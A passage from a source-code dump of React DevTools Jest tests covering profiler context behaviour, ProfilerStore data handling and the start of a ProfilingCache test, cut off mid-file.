data (createRoot)', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerOne = document.createElement('div');\n    const containerTwo = document.createElement('div');\n\n    const rootOne = ReactDOMClient.createRoot(containerOne);\n    const rootTwo = ReactDOMClient.createRoot(containerTwo);\n\n    utils.act(() => rootOne.render(<Parent />));\n    utils.act(() => rootTwo.render(<Parent />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child>\n      [root]\n        ▾ <Parent>\n            <Child>\n    `);\n\n    // Profile and record updates to only the first root.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => rootOne.render(<Parent />));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    // Select an element within the second root.\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts\n          defaultInspectedElementID={store.getElementIDAtIndex(3)}\n          defaultInspectedElementIndex={3}>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    // Verify the default profiling root is the first one.\n    expect(context).not.toBeNull();\n    expect(context.rootID).toBe(\n      store.getRootIDForElement(((store.getElementIDAtIndex(0): any): number)),\n    );\n  });\n\n  // @reactVersion <= 18.2\n  // @reactVersion >= 18.0\n  it('should maintain root selection between profiling sessions so long as there is data for that root (legacy render)', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n    utils.act(() => legacyRender(<Parent />, containerA));\n    utils.act(() => legacyRender(<Parent />, containerB));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child>\n      [root]\n        ▾ <Parent>\n            <Child>\n    `);\n\n    // Profile and record updates.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => legacyRender(<Parent />, containerA));\n    await utils.actAsync(() => legacyRender(<Parent />, containerB));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    let dispatch: DispatcherContext = ((null: any): DispatcherContext);\n    let inspectedElementID = null;\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      dispatch = React.useContext(TreeDispatcherContext);\n      inspectedElementID =\n        React.useContext(TreeStateContext).inspectedElementID;\n      return null;\n    }\n\n    const id = ((store.getElementIDAtIndex(3): any): number);\n\n    // Select an element within the second root.\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts\n          defaultInspectedElementID={id}\n          defaultInspectedElementIndex={3}>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    expect(inspectedElementID).toBe(id);\n\n    // Profile and record more updates to both roots\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => legacyRender(<Parent />, containerA));\n    await utils.actAsync(() => legacyRender(<Parent />, containerB));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    const otherID = ((store.getElementIDAtIndex(0): any): number);\n\n    // Change the selected element within a the Components tab.\n    utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 0}));\n\n    // Verify that the initial Profiler root selection is maintained.\n    expect(inspectedElementID).toBe(otherID);\n    expect(context).not.toBeNull();\n    expect(context.rootID).toBe(store.getRootIDForElement(id));\n  });\n\n  // @reactVersion >= 18.0\n  it('should maintain root selection between profiling sessions so long as there is data for that root (createRoot)', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n\n    const rootA = ReactDOMClient.createRoot(containerA);\n    const rootB = ReactDOMClient.createRoot(containerB);\n\n    utils.act(() => rootA.render(<Parent />));\n    utils.act(() => rootB.render(<Parent />));\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child>\n      [root]\n        ▾ <Parent>\n            <Child>\n    `);\n\n    // Profile and record updates.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => rootA.render(<Parent />));\n    await utils.actAsync(() => rootB.render(<Parent />));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    let dispatch: DispatcherContext = ((null: any): DispatcherContext);\n    let inspectedElementID = null;\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      dispatch = React.useContext(TreeDispatcherContext);\n      inspectedElementID =\n        React.useContext(TreeStateContext).inspectedElementID;\n      return null;\n    }\n\n    const id = ((store.getElementIDAtIndex(3): any): number);\n\n    // Select an element within the second root.\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts\n          defaultInspectedElementID={id}\n          defaultInspectedElementIndex={3}>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    expect(inspectedElementID).toBe(id);\n\n    // Profile and record more updates to both roots\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => rootA.render(<Parent />));\n    await utils.actAsync(() => rootB.render(<Parent />));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    const otherID = ((store.getElementIDAtIndex(0): any): number);\n\n    // Change the selected element within a the Components tab.\n    utils.act(() => dispatch({type: 'SELECT_ELEMENT_AT_INDEX', payload: 0}));\n\n    // Verify that the initial Profiler root selection is maintained.\n    expect(inspectedElementID).toBe(otherID);\n    expect(context).not.toBeNull();\n    expect(context.rootID).toBe(store.getRootIDForElement(id));\n  });\n\n  it('should sync selected element in the Components tab too, provided the element is a match', async () => {\n    const GrandParent = ({includeChild}) => (\n      <Parent includeChild={includeChild} />\n    );\n    const Parent = ({includeChild}) => (includeChild ? <Child /> : null);\n    const Child = () => null;\n\n    utils.act(() => render(<GrandParent includeChild={true} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <GrandParent>\n          ▾ <Parent>\n              <Child>\n    `);\n\n    const parentID = ((store.getElementIDAtIndex(1): any): number);\n    const childID = ((store.getElementIDAtIndex(2): any): number);\n\n    // Profile and record updates.\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => render(<GrandParent includeChild={true} />));\n    await utils.actAsync(() => render(<GrandParent includeChild={false} />));\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <GrandParent>\n            <Parent>\n    `);\n\n    let context: Context = ((null: any): Context);\n    let inspectedElementID = null;\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      inspectedElementID =\n        React.useContext(TreeStateContext).inspectedElementID;\n      return null;\n    }\n\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n    expect(inspectedElementID).toBeNull();\n\n    // Select an element in the Profiler tab and verify that the selection is synced to the Components tab.\n    await utils.actAsync(() => context.selectFiber(parentID, 'Parent'));\n    expect(inspectedElementID).toBe(parentID);\n\n    // Select an unmounted element and verify no Components tab selection doesn't change.\n    await utils.actAsync(() => context.selectFiber(childID, 'Child'));\n    expect(inspectedElementID).toBe(parentID);\n  });\n\n  it('should toggle profiling when the keyboard shortcut is pressed', async () => {\n    // Context providers\n    const Profiler =\n      require('react-devtools-shared/src/devtools/views/Profiler/Profiler').default;\n    const {\n      TimelineContextController,\n    } = require('react-devtools-timeline/src/TimelineContext');\n    const {\n      SettingsContextController,\n    } = require('react-devtools-shared/src/devtools/views/Settings/SettingsContext');\n    const {\n      ModalDialogContextController,\n    } = require('react-devtools-shared/src/devtools/views/ModalDialog');\n\n    // Dom component for profiling to be enabled\n    const Component = () => null;\n    utils.act(() => render(<Component />));\n\n    const profilerContainer = document.createElement('div');\n    document.body.appendChild(profilerContainer);\n\n    // Create a root for the profiler\n    const profilerRoot = ReactDOMClient.createRoot(profilerContainer);\n\n    // Render the profiler\n    utils.act(() => {\n      profilerRoot.render(\n        <Contexts>\n          <SettingsContextController browserTheme=\"light\">\n            <ModalDialogContextController>\n              <TimelineContextController>\n                <Profiler />\n              </TimelineContextController>\n            </ModalDialogContextController>\n          </SettingsContextController>\n        </Contexts>,\n      );\n    });\n\n    // Verify that the profiler is not profiling.\n    expect(store.profilerStore.isProfilingBasedOnUserInput).toBe(false);\n\n    // Trigger the keyboard shortcut.\n    const ownerWindow = profilerContainer.ownerDocument.defaultView;\n    const isMac =\n      typeof navigator !== 'undefined' &&\n      navigator.platform.toUpperCase().indexOf('MAC') >= 0;\n\n    const keyEvent = new KeyboardEvent('keydown', {\n      key: 'e',\n      metaKey: isMac,\n      ctrlKey: !isMac,\n      bubbles: true,\n    });\n\n    // Dispatch keyboard event to toggle profiling on\n    // Try utils.actAsync with recursivelyFlush=false\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(keyEvent);\n    }, false);\n    expect(store.profilerStore.isProfilingBasedOnUserInput).toBe(true);\n\n    // Dispatch keyboard event to toggle profiling off\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(keyEvent);\n    }, false);\n    expect(store.profilerStore.isProfilingBasedOnUserInput).toBe(false);\n\n    document.body.removeChild(profilerContainer);\n  }, 20000);\n\n  it('should navigate between commits when the keyboard shortcut is pressed', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    utils.act(() => root.render(<Parent />));\n\n    // Profile and record multiple commits\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => root.render(<Parent />)); // Commit 1\n    await utils.actAsync(() => root.render(<Parent />)); // Commit 2\n    await utils.actAsync(() => root.render(<Parent />)); // Commit 3\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    const Profiler =\n      require('react-devtools-shared/src/devtools/views/Profiler/Profiler').default;\n    const {\n      TimelineContextController,\n    } = require('react-devtools-timeline/src/TimelineContext');\n    const {\n      SettingsContextController,\n    } = require('react-devtools-shared/src/devtools/views/Settings/SettingsContext');\n    const {\n      ModalDialogContextController,\n    } = require('react-devtools-shared/src/devtools/views/ModalDialog');\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    const profilerContainer = document.createElement('div');\n    document.body.appendChild(profilerContainer);\n\n    const profilerRoot = ReactDOMClient.createRoot(profilerContainer);\n\n    await utils.actAsync(() => {\n      profilerRoot.render(\n        <Contexts>\n          <SettingsContextController browserTheme=\"light\">\n            <ModalDialogContextController>\n              <TimelineContextController>\n                <Profiler />\n                <ContextReader />\n              </TimelineContextController>\n            </ModalDialogContextController>\n          </SettingsContextController>\n        </Contexts>,\n      );\n    });\n\n    // Verify we have profiling data with 3 commits\n    expect(context.didRecordCommits).toBe(true);\n    expect(context.profilingData).not.toBeNull();\n    const rootID = context.rootID;\n    expect(rootID).not.toBeNull();\n    const dataForRoot = context.profilingData.dataForRoots.get(rootID);\n    expect(dataForRoot.commitData.length).toBe(3);\n    // Should start at the first commit\n    expect(context.selectedCommitIndex).toBe(0);\n\n    const ownerWindow = profilerContainer.ownerDocument.defaultView;\n    const isMac =\n      typeof navigator !== 'undefined' &&\n      navigator.platform.toUpperCase().indexOf('MAC') >= 0;\n\n    // Test ArrowRight navigation (forward) with correct modifier\n    const arrowRightEvent = new KeyboardEvent('keydown', {\n      key: 'ArrowRight',\n      metaKey: isMac,\n      ctrlKey: !isMac,\n      bubbles: true,\n    });\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(1);\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(2);\n\n    // Test wrap-around (last -> first)\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(0);\n\n    // Test ArrowLeft navigation (backward) with correct modifier\n    const arrowLeftEvent = new KeyboardEvent('keydown', {\n      key: 'ArrowLeft',\n      metaKey: isMac,\n      ctrlKey: !isMac,\n      bubbles: true,\n    });\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowLeftEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(2);\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowLeftEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(1);\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowLeftEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(0);\n\n    // Cleanup\n    await utils.actAsync(() => profilerRoot.unmount());\n    document.body.removeChild(profilerContainer);\n  });\n\n  it('should reset commit index when switching to a different root', async () => {\n    const Parent = () => <Child />;\n    const Child = () => null;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n\n    const rootA = ReactDOMClient.createRoot(containerA);\n    const rootB = ReactDOMClient.createRoot(containerB);\n\n    utils.act(() => rootA.render(<Parent />));\n    utils.act(() => rootB.render(<Parent />));\n\n    // Profile and record different numbers of commits for each root\n    // Root A: 5 commits, Root B: 2 commits\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 1\n    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 2\n    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 3\n    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 4\n    await utils.actAsync(() => rootA.render(<Parent />)); // Root A commit 5\n    await utils.actAsync(() => rootB.render(<Parent />)); // Root B commit 1\n    await utils.actAsync(() => rootB.render(<Parent />)); // Root B commit 2\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    await utils.actAsync(() =>\n      TestRenderer.create(\n        <Contexts>\n          <ContextReader />\n        </Contexts>,\n      ),\n    );\n\n    // Verify we have profiling data for both roots\n    expect(context.didRecordCommits).toBe(true);\n    expect(context.profilingData).not.toBeNull();\n\n    const rootIDs = Array.from(context.profilingData.dataForRoots.keys());\n    expect(rootIDs.length).toBe(2);\n\n    const [rootAID, rootBID] = rootIDs;\n    const rootAData = context.profilingData.dataForRoots.get(rootAID);\n    const rootBData = context.profilingData.dataForRoots.get(rootBID);\n\n    expect(rootAData.commitData.length).toBe(5);\n    expect(rootBData.commitData.length).toBe(2);\n\n    // Select root A and navigate to commit 4 (index 3)\n    await utils.actAsync(() => context.setRootID(rootAID));\n    expect(context.rootID).toBe(rootAID);\n    expect(context.selectedCommitIndex).toBe(0);\n\n    await utils.actAsync(() => context.selectCommitIndex(3));\n    expect(context.selectedCommitIndex).toBe(3);\n\n    // Switch to root B which only has 2 commits\n    // The commit index should be reset to 0, not stay at 3 (which would be invalid)\n    await utils.actAsync(() => context.setRootID(rootBID));\n    expect(context.rootID).toBe(rootBID);\n    // Should be reset to 0 since commit 3 doesn't exist in root B\n    expect(context.selectedCommitIndex).toBe(0);\n\n    // Verify we can still navigate in root B\n    await utils.actAsync(() => context.selectCommitIndex(1));\n    expect(context.selectedCommitIndex).toBe(1);\n\n    // Switch back to root A - should reset to 0\n    await utils.actAsync(() => context.setRootID(rootAID));\n    expect(context.rootID).toBe(rootAID);\n    expect(context.selectedCommitIndex).toBe(0);\n  });\n\n  it('should handle commit selection edge cases when filtering commits', async () => {\n    const Scheduler = require('scheduler');\n\n    // Create components that do varying amounts of work to generate different commit durations\n    const Parent = ({count}) => {\n      Scheduler.unstable_advanceTime(10);\n      const items = [];\n      for (let i = 0; i < count; i++) {\n        items.push(<Child key={i} duration={i} />);\n      }\n      return <div>{items}</div>;\n    };\n    const Child = ({duration}) => {\n      Scheduler.unstable_advanceTime(duration);\n      return <span>{duration}</span>;\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    utils.act(() => root.render(<Parent count={1} />));\n\n    // Profile and record multiple commits with different amounts of work\n    await utils.actAsync(() => store.profilerStore.startProfiling());\n    await utils.actAsync(() => root.render(<Parent count={5} />)); // Commit 1 - 20ms\n    await utils.actAsync(() => root.render(<Parent count={20} />)); // Commit 2 - 200ms\n    await utils.actAsync(() => root.render(<Parent count={50} />)); // Commit 3 - 1235ms\n    await utils.actAsync(() => root.render(<Parent count={10} />)); // Commit 4 - 55ms\n    await utils.actAsync(() => store.profilerStore.stopProfiling());\n\n    // Context providers\n    const Profiler =\n      require('react-devtools-shared/src/devtools/views/Profiler/Profiler').default;\n    const {\n      TimelineContextController,\n    } = require('react-devtools-timeline/src/TimelineContext');\n    const {\n      SettingsContextController,\n    } = require('react-devtools-shared/src/devtools/views/Settings/SettingsContext');\n    const {\n      ModalDialogContextController,\n    } = require('react-devtools-shared/src/devtools/views/ModalDialog');\n\n    let context: Context = ((null: any): Context);\n    function ContextReader() {\n      context = React.useContext(ProfilerContext);\n      return null;\n    }\n\n    const profilerContainer = document.createElement('div');\n    document.body.appendChild(profilerContainer);\n\n    const profilerRoot = ReactDOMClient.createRoot(profilerContainer);\n\n    await utils.actAsync(() => {\n      profilerRoot.render(\n        <Contexts>\n          <SettingsContextController browserTheme=\"light\">\n            <ModalDialogContextController>\n              <TimelineContextController>\n                <Profiler />\n                <ContextReader />\n              </TimelineContextController>\n            </ModalDialogContextController>\n          </SettingsContextController>\n        </Contexts>,\n      );\n    });\n\n    // Verify we have profiling data with 4 commits\n    expect(context.didRecordCommits).toBe(true);\n    expect(context.profilingData).not.toBeNull();\n    const rootID = context.rootID;\n    expect(rootID).not.toBeNull();\n    const dataForRoot = context.profilingData.dataForRoots.get(rootID);\n    expect(dataForRoot.commitData.length).toBe(4);\n    // Edge case 1: Should start at the first commit\n    expect(context.selectedCommitIndex).toBe(0);\n\n    const ownerWindow = profilerContainer.ownerDocument.defaultView;\n    const isMac =\n      typeof navigator !== 'undefined' &&\n      navigator.platform.toUpperCase().indexOf('MAC') >= 0;\n\n    const arrowRightEvent = new KeyboardEvent('keydown', {\n      key: 'ArrowRight',\n      metaKey: isMac,\n      ctrlKey: !isMac,\n      bubbles: true,\n    });\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(1);\n\n    await utils.actAsync(() => {\n      context.setIsCommitFilterEnabled(true);\n    });\n\n    // Edge case 2:  When filtering is enabled, selected commit should remain if it's still visible\n    expect(context.filteredCommitIndices.length).toBe(4);\n    expect(context.selectedCommitIndex).toBe(1);\n    expect(context.selectedFilteredCommitIndex).toBe(1);\n\n    await utils.actAsync(() => {\n      context.setMinCommitDuration(1000000);\n    });\n\n    // Edge case 3: When all commits are filtered out, selection should be null\n    expect(context.filteredCommitIndices).toEqual([]);\n    expect(context.selectedCommitIndex).toBe(null);\n    expect(context.selectedFilteredCommitIndex).toBe(null);\n\n    await utils.actAsync(() => {\n      context.setMinCommitDuration(0);\n    });\n\n    // Edge case 4: After restoring commits, first commit should be auto-selected\n    expect(context.filteredCommitIndices.length).toBe(4);\n    expect(context.selectedCommitIndex).toBe(0);\n    expect(context.selectedFilteredCommitIndex).toBe(0);\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(1);\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(2);\n\n    await utils.actAsync(() => {\n      ownerWindow.dispatchEvent(arrowRightEvent);\n    }, false);\n    expect(context.selectedCommitIndex).toBe(3);\n\n    // Filter out the currently selected commit using actual commit data\n    const commitDurations = dataForRoot.commitData.map(\n      commit => commit.duration,\n    );\n    const selectedCommitDuration = commitDurations[3];\n    const filterThreshold = selectedCommitDuration + 0.001;\n    await utils.actAsync(() => {\n      context.setMinCommitDuration(filterThreshold);\n    });\n\n    // Edge case 5: Should auto-select first available commit when current one is filtered\n    expect(context.selectedCommitIndex).not.toBe(null);\n    expect(context.selectedFilteredCommitIndex).toBe(1);\n\n    await utils.actAsync(() => {\n      context.setIsCommitFilterEnabled(false);\n    });\n\n    // Edge case 6: When filtering is disabled, selected commit should remain\n    expect(context.filteredCommitIndices.length).toBe(4);\n    expect(context.selectedCommitIndex).toBe(2);\n    expect(context.selectedFilteredCommitIndex).toBe(2);\n\n    await utils.actAsync(() => profilerRoot.unmount());\n    document.body.removeChild(profilerContainer);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilerStore-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('ProfilerStore', () => {\n  let React;\n  let store: Store;\n  let utils;\n\n  beforeEach(() => {\n    global.IS_REACT_ACT_ENVIRONMENT = true;\n\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n  });\n\n  const {render, unmount} = getVersionedRenderImplementation();\n  const {render: renderOther, unmount: unmountOther} =\n    getVersionedRenderImplementation();\n\n  // @reactVersion >= 16.9\n  it('should not remove profiling data when roots are unmounted', async () => {\n    const Parent = ({count}) =>\n      new Array(count)\n        .fill(true)\n        .map((_, index) => <Child key={index} duration={index} />);\n    const Child = () => <div>Hi!</div>;\n\n    utils.act(() => {\n      render(<Parent key=\"A\" count={3} />);\n      renderOther(<Parent key=\"B\" count={2} />);\n    });\n\n    utils.act(() => store.profilerStore.startProfiling());\n\n    utils.act(() => {\n      render(<Parent key=\"A\" count={4} />);\n      renderOther(<Parent key=\"B\" count={1} />);\n    });\n\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootA = store.roots[0];\n    const rootB = store.roots[1];\n\n    utils.act(() => unmountOther());\n    expect(store.profilerStore.getDataForRoot(rootA)).not.toBeNull();\n\n    utils.act(() => unmount());\n    expect(store.profilerStore.getDataForRoot(rootB)).not.toBeNull();\n  });\n\n  // @reactVersion >= 16.9\n  it('should not allow new/saved profiling data to be set while profiling is in progress', () => {\n    utils.act(() => store.profilerStore.startProfiling());\n    const fauxProfilingData = {\n      dataForRoots: new Map(),\n    };\n    jest.spyOn(console, 'warn').mockImplementation(() => {});\n    store.profilerStore.profilingData = fauxProfilingData;\n    expect(store.profilerStore.profilingData).not.toBe(fauxProfilingData);\n    expect(console.warn).toHaveBeenCalledTimes(1);\n    expect(console.warn).toHaveBeenCalledWith(\n      'Profiling data cannot be updated while profiling is in progress.',\n    );\n    utils.act(() => store.profilerStore.stopProfiling());\n    store.profilerStore.profilingData = fauxProfilingData;\n    expect(store.profilerStore.profilingData).toBe(fauxProfilingData);\n  });\n\n  // @reactVersion >= 16.9\n  // This test covers current broken behavior (arguably) with the synthetic event system.\n  it('should filter empty commits', () => {\n    const inputRef = React.createRef();\n    const ControlledInput = () => {\n      const [name, setName] = React.useState('foo');\n      const handleChange = event => setName(event.target.value);\n      return <input ref={inputRef} value={name} onChange={handleChange} />;\n    };\n\n    // It's important that this test uses legacy sync mode.\n    // The root API does not trigger this particular failing case.\n    utils.act(() => render(<ControlledInput />));\n\n    utils.act(() => store.profilerStore.startProfiling());\n\n    // Sets a value in a way that React doesn't see,\n    // so that a subsequent \"change\" event will trigger the event handler.\n    const setUntrackedValue = Object.getOwnPropertyDescriptor(\n      HTMLInputElement.prototype,\n      'value',\n    ).set;\n\n    const target = inputRef.current;\n    setUntrackedValue.call(target, 'bar');\n    target.dispatchEvent(new Event('input', {bubbles: true, cancelable: true}));\n    expect(target.value).toBe('bar');\n\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    // Only one commit should have been recorded (in response to the \"change\" event).\n    const root = store.roots[0];\n    const data = store.profilerStore.getDataForRoot(root);\n    expect(data.commitData).toHaveLength(1);\n    expect(data.operations).toHaveLength(1);\n  });\n\n  // @reactVersion >= 16.9\n  it('should filter empty commits alt', () => {\n    let commitCount = 0;\n\n    const inputRef = React.createRef();\n    const Example = () => {\n      const [, setTouched] = React.useState(false);\n\n      const handleBlur = () => {\n        setTouched(true);\n      };\n\n      require('scheduler').unstable_advanceTime(1);\n\n      React.useLayoutEffect(() => {\n        commitCount++;\n      });\n\n      return <input ref={inputRef} onBlur={handleBlur} />;\n    };\n\n    // It's important that this test uses legacy sync mode.\n    // The root API does not trigger this particular failing case.\n    utils.act(() => render(<Example />));\n\n    expect(commitCount).toBe(1);\n    commitCount = 0;\n\n    utils.act(() => store.profilerStore.startProfiling());\n\n    // Focus and blur.\n    const target = inputRef.current;\n    utils.act(() => target.focus());\n    utils.act(() => target.blur());\n    utils.act(() => target.focus());\n    utils.act(() => target.blur());\n    expect(commitCount).toBe(1);\n\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    // Only one commit should have been recorded (in response to the \"change\" event).\n    const root = store.roots[0];\n    const data = store.profilerStore.getDataForRoot(root);\n    expect(data.commitData).toHaveLength(1);\n    expect(data.operations).toHaveLength(1);\n  });\n\n  // @reactVersion >= 16.9\n  it('should throw if component filters are modified while profiling', () => {\n    utils.act(() => store.profilerStore.startProfiling());\n\n    expect(() => {\n      utils.act(() => {\n        const {\n          ElementTypeHostComponent,\n        } = require('react-devtools-shared/src/frontend/types');\n        store.componentFilters = [\n          utils.createElementTypeFilter(ElementTypeHostComponent),\n        ];\n      });\n    }).toThrow('Cannot modify filter preferences while profiling');\n  });\n\n  // @reactVersion >= 16.9\n  it('should not throw if state contains a property hasOwnProperty', () => {\n    let setStateCallback;\n    const ControlledInput = () => {\n      const [state, setState] = React.useState({hasOwnProperty: true});\n      setStateCallback = setState;\n      return state.hasOwnProperty;\n    };\n\n    // It's important that this test uses legacy sync mode.\n    // The root API does not trigger this particular failing case.\n    utils.act(() => render(<ControlledInput />));\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() =>\n      setStateCallback({\n        hasOwnProperty: false,\n      }),\n    );\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    // Only one commit should have been recorded (in response to the \"change\" event).\n    const root = store.roots[0];\n    const data = store.profilerStore.getDataForRoot(root);\n    expect(data.commitData).toHaveLength(1);\n    expect(data.operations).toHaveLength(1);\n  });\n\n  // @reactVersion >= 18.0\n  it('should not throw while initializing context values for Fibers within a not-yet-mounted subtree', () => {\n    const promise = new Promise(resolve => {});\n    const SuspendingView = () => {\n      if (React.use) {\n        React.use(promise);\n      } else {\n        throw promise;\n      }\n    };\n\n    const App = () => {\n      return (\n        <React.Suspense fallback=\"Fallback\">\n          <SuspendingView />\n        </React.Suspense>\n      );\n    };\n\n    utils.act(() => render(<App />));\n    utils.act(() => store.profilerStore.startProfiling());\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilingCache-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('ProfilingCache', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let Scheduler;\n  let bridge: FrontendBridge;\n  let legacyRender;\n  let store: Store;\n  let utils;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    legacyRender = utils.legacyRender;\n\n    bridge = global.bridge;\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n  });\n\n  const {render, getContainer} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 16.9\n  // @reactVersion <= 18.2\n  it('should collect data for each root (including ones added or mounted after profiling started) (legacy render)', () => {\n    const Parent = ({count}) => {\n      Scheduler.unstable_advanceTime(10);\n      const children = new Array(count)\n        .fill(true)\n        .map((_, index) => <Child key={index} duration={index} />);\n      return (\n        <React.Fragment>\n          {children}\n          <MemoizedChild duration={1} />\n        </React.Fragment>\n      );\n    };\n    const Child = ({duration}) => {\n      Scheduler.unstable_advanceTime(duration);\n      return null;\n    };\n    const MemoizedChild = React.memo(Child);\n\n    const RootA = ({children}) => children;\n    const RootB = ({children}) => children;\n    const RootC = ({children}) => children;\n\n    const containerA = document.createElement('div');\n    const containerB = document.createElement('div');\n    const containerC = document.createElement('div');\n\n    utils.act(() =>\n      legacyRender(\n        <RootA>\n          <Parent count={2} />\n        </RootA>,\n        containerA,\n      ),\n    );\n    utils.act(() =>\n      legacyRender(\n        <RootB>\n          <Parent count={1} />\n        </RootB>,\n        containerB,\n      ),\n    );\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() =>\n      legacyRender(\n        <RootA>\n          <Parent count={3} />\n        </RootA>,\n        containerA,\n      ),\n    );\n    utils.act(() =>\n      legacyRender(\n        <RootC>\n          <Parent count={1} />\n        </RootC>,\n        containerC,\n      ),\n    );\n    utils.act(() =>\n      legacyRender(\n        <RootA>\n          <Parent count={1} />\n        </RootA>,\n        containerA,\n      ),\n    );\n    utils.act(() => ReactDOM.unmountComponentAtNode(containerB));\n    utils.act(() =>\n      legacyRender(\n        <RootA>\n          <Parent count={0} />\n        </RootA>,\n        containerA,\n      ),\n    );\n    utils.act(() => 